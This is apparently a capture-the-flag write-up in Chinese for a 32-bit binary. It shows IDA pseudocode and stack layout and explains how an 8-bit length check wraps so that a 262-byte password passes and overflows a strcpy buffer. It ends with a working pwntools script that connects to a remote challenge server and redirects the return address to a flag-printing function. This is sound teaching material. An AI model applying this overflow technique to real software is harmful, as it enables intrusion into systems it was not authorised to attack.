

```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v4; // [esp+Ch] [ebp-Ch]
4
5     setbuf(stdin, 0);
6     setbuf(stdout, 0);
7     setbuf(stderr, 0);
8     puts("-----");
9     puts("~~ Welcome to CTF! ~~");
10    puts("    1.Login    ");
11    puts("    2.Exit     ");
12    puts("-----");
13    printf("Your choice:");
14    __isoc99_scanf("%d", &v4);
15    if ( v4 == 1 )
16    {
17        login();
18    }
19    else
20    {
21        if ( v4 == 2 )
22        {
23            puts("Bye~");
24            exit(0);
25        }
26        puts("Invalid Choice!");
27    }
28    return 0;
29 }

```

ction Data Unexplored External symbol

IDA View-A Pseudocode-A Strings window Hex Vi

```

1 char *login()
2 {
3     char buf; // [esp+0h] [ebp-228h]
4     char s; // [esp+200h] [ebp-28h]
5
6     memset(&s, 0, 0x20u);
7     memset(&buf, 0, 0x200u);
8     puts("Please input your username:");
9     read(0, &s, 0x19u);
10    printf("Hello %s\n", &s);
11    puts("Please input your passwd:");
12    read(0, &buf, 0x199u);
13    return check_passwu(&buf);
14 }

```

```
unction | Data | Unexplored | External symbol
IDA View-A | Pseudocode-A | Strings window | Hex Vi

1 char *__cdecl check_passwd(char *s)
2 {
3     char *result; // eax
4     char dest; // [esp+4h] [ebp-14h]
5     unsigned __int8 v3; // [esp+Fh] [ebp-9h]
6
7     v3 = strlen(s);
8     if ( v3 <= '\x03' || v3 > '\b' )
9     {
10         puts("Invalid Password");
11         result = (char *)fflush(stdout);
12     }
13     else
14     {
15         puts("Success");
16         fflush(stdout);
17         result = strcpy(&dest, s);
18     }
19     return result;
20 }
```

下面溢出上面是执行的条件

```

-00000018 ; D/A/* : change type (data/ascii/array)
-00000018 ; N : rename
-00000018 ; U : undefine
-00000018 ; Use data definition commands to create local variables and function arguments
-00000018 ; Two special fields " r" and " s" represent return address and saved register
-00000018 ; Frame size: 18; Saved regs: 4; Purge: 0
-00000018 ;
-00000018
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 dest db ?
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 var_9 db ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

```

可以看到是 0x14 个字节 加上 ebp 4 个字节 后面就可以跟溢出的 shell 了

Address	Displacement	Type	String
LOAD:080...	00000013	C	/lib/ld-linux.so.2
LOAD:080...	0000000A	C	libc.so.6
LOAD:080...	0000000F	C	_IO_stdin_used
LOAD:080...	00000007	C	fflush
LOAD:080...	00000007	C	strcpy
LOAD:080...	00000005	C	exit
LOAD:080...	0000000F	C	__isoc99_scanf
LOAD:080...	00000005	C	puts
LOAD:080...	00000006	C	stdin
LOAD:080...	00000007	C	printf
LOAD:080...	00000007	C	strlen
LOAD:080...	00000007	C	memset
LOAD:080...	00000005	C	read
LOAD:080...	00000007	C	stdout
LOAD:080...	00000007	C	stderr
LOAD:080...	00000007	C	system
LOAD:080...	00000007	C	setbuf
LOAD:080...	00000012	C	__libc_start_main
LOAD:080...	0000000F	C	__gmon_start__
LOAD:080...	0000000A	C	GLIBC_2.7
LOAD:080...	0000000A	C	GLIBC_2.0
.rodata:...	00000009	C	cat flag
.rodata:...	00000008	C	Success
.rodata:...	00000011	C	Invalid Password
.rodata:...	0000001C	C	Please input your username:
.rodata:...	0000000A	C	Hello %s\n
.rodata:...	0000001A	C	Please input your passwd:
.rodata:...	00000016	C	~~~~~
.rodata:...	00000016	C	~~ Welcome to CTF! ~~
.rodata:...	00000016	C	1.Login
.rodata:...	00000016	C	2.Exit
.rodata:...	0000000D	C	Your choice:
.rodata:...	00000005	C	Bye~
.rodata:...	00000010	C	Invalid Choice!
.eh_frame...	00000005	C	;*2\$\"

```

.text:0804868B ; Attributes: bp-based frame
.text:0804868B
.text:0804868B public what_is_this
.text:0804868B what_is_this proc near
.text:0804868B ; __unwind {
    .text:0804868B     push     ebp
    .text:0804868C     mov      ebp, esp
    .text:0804868E     sub      esp, 8
    .text:08048691     sub      esp, 0Ch
    .text:08048694     push     offset command ; "cat
    .text:08048699     call     _system
    .text:0804869E     add      esp, 10h
    .text:080486A1     nop
    .text:080486A2     leave
    .text:080486A3     retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this     endp
.text:080486A3
.text:080486A4 ; ===== S U B R O U T I N E =====
.text:080486A4 ; Attributes: bp-based frame
.text:080486A4 ; int __cdecl check_passwd(char *s)
.text:080486A4     public check_passwd
.text:080486A4 check_passwd proc near

```

这个地址是一个字节后面填充多余的

前面发是 8 位最大 0-255 判断是 3-8 个字符 超过这个范围 因为是 8 位 $256=1$ 所以也可以是 $259-264 = 3-8$ 所以这样才能绕过那个 if 判断 这个地址是四个

```
~$ python3
Python 3.8.2 (default, Apr 27 2020, 15:53:34)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> i=remote('111.200.241.244',52944)
[×] Opening connection to 111.200.241.244 on port 52944
[×] Opening connection to 111.200.241.244 on port 52944: Trying 111.200.241.244
[+] Opening connection to 111.200.241.244 on port 52944: Done
>>> flag= 0x0804868B
>>> p32(flag)
b'\x8b\x86\x04\x08'
>>> █
```

进入 login 函数：接受了一个最大长度为 0x199 的 password

进入 check_passwd 函数：用一个一字节，8bit 的变量存储 password 的长度，

之后存在一个字符串拷贝，拷贝目的地在栈中，长度为 14h，及 0x14，十进制 20，

结合前面溢出原理分析，0x199（十进制 409）的长度远大于 1 字节，

也就是说，这里存在证书溢出，password 字符串的长度可以是 3- 8 个字符，也可以是 259-264 个字符

可以在字符串拷贝过程中，输入 0x14 个字符之后，就可以覆盖函数返回地址了，具体是不是 0x14 个字符，

在字符串拷贝之前，先把拷贝的源地址和目的地址压入堆栈，这里似乎没有任何问题，

查看整个函数的汇编代码，就会发现，在函数最开始，压入了 ebp 变量，在函数结尾，存在一条 leave 指令，

而在 32 位程序中，leave 指令等于 mov esp,ebp 和 pop ebp 两条指令的组合，

也就是说，在覆盖函数放回地址之前，还有一次出栈操作，出栈数据大小 4 字节，

即覆盖之前还需将这 4 字节覆盖了，才能实现跳转指向 what_is_this 函数，

编写利用脚本如下：259-264 之间随机选择一个数，

这里取 262， $264-0x14-4-4=234$

```
1 from pwn import *
2 i=remote('111.200.241.244',52944)
3 flag= 0x0804868B
4 payload=b"a" * 0x14 + b'aaaa'+ p32(flag) + b'a'*234
5 i.sendlineafter("Your choice:", "1")
6 i.sendlineafter("your username:", "kk")
7 i.sendline(payload)
8 i.recv
9 i.interactive()
```